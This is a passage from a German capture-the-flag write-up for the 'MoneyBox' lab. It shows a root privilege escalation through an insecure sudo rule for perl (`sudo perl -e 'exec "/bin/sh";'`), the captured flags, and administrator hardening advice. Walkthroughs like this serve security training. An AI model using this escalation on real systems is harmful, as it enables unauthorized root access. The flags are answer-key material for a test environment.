Analyse: Der Befehl `sudo perl -e 'exec "/bin/sh";'` wird ausgeführt. Er nutzt `sudo`, um `perl` als Root zu starten. Das `-e`-Argument führt den Perl-Code `exec "/bin/sh";` aus, welcher den aktuellen Perl-Prozess durch eine neue Shell (`/bin/sh`) ersetzt. Da Perl als Root lief, läuft die neue Shell ebenfalls als Root.

Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Die unsichere `sudo`-Regel, die die Ausführung von `perl` erlaubte, wurde erfolgreich zur Privilegienerweiterung ausgenutzt.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** Überprüfen Sie die `sudoers`-Regeln gründlich und entfernen Sie gefährliche Einträge wie die Erlaubnis zur Ausführung von Skript-Interpretern.

Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung

# id
uid=0(root) gid=0(root) groups=0(root)
# cd ~
# ls -la
total 28
drwx------  3 root root 4096 Feb 26  2021 . 
drwxr-xr-x 18 root root 4096 Feb 25  2021 ..
-rw-------  1 root root 2097 Feb 26  2021 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Feb 25  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  228 Feb 26  2021 .root.txt 
                     
# cat .root.txt
Congratulations.......!

You Successfully completed MoneyBox

Finally The Root Flag
    > r00t{H4ckth3p14n3t}

I'm Kirthik-KarvendhanT
    It's My First CTF Box

instagram : ____kirthik____

See You Back....
                     

Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird die Datei `.root.txt` gefunden und ihr Inhalt ausgelesen.

Bewertung: Root-Rechte bestätigt. Die Root-Flagge `r00t{H4ckth3p14n3t}` wurde erfolgreich gefunden.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus Steganographie (Verstecken von Hinweisen in Bildern), einem schwachen, bruteforce-baren Passwort für einen Benutzer (`renu`), einem ungeschützten privaten SSH-Schlüssel im Home-Verzeichnis eines anderen Benutzers und einer unsicheren `sudo`-Regel für den Benutzer `lily` stellt ein hohes Risiko dar und ermöglichte die Kompromittierung des Systems.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Korrigieren Sie die `/etc/sudoers`-Datei und entfernen Sie unsichere Regeln (insbesondere die Erlaubnis, Skript-Interpreter wie `perl` als Root auszuführen).
  • Verwenden Sie starke, einzigartige Passwörter für alle Benutzer.
  • Implementieren Sie Brute-Force-Schutz für SSH.
  • Deaktivieren Sie anonymen FTP-Zugang.
  • Entfernen Sie sensible Hinweise aus öffentlich zugänglichen Dateien (Web, FTP, Bilder).
  • Speichern Sie private SSH-Schlüssel sicher und schützen Sie sie mit starken Passphrasen. Stellen Sie korrekte Dateiberechtigungen sicher (`chmod 600`).
  • Aktualisieren Sie das Betriebssystem und alle Dienste (Apache, vsftpd, OpenSSH).
  • Überprüfen und minimieren Sie SUID-Binaries.

Flags

cat /home/renu/user1.txt
> us3r1{F14g:0ku74tbd3777y4}
cat /root/.root.txt
flag={r00t{H4ckth3p14n3t}}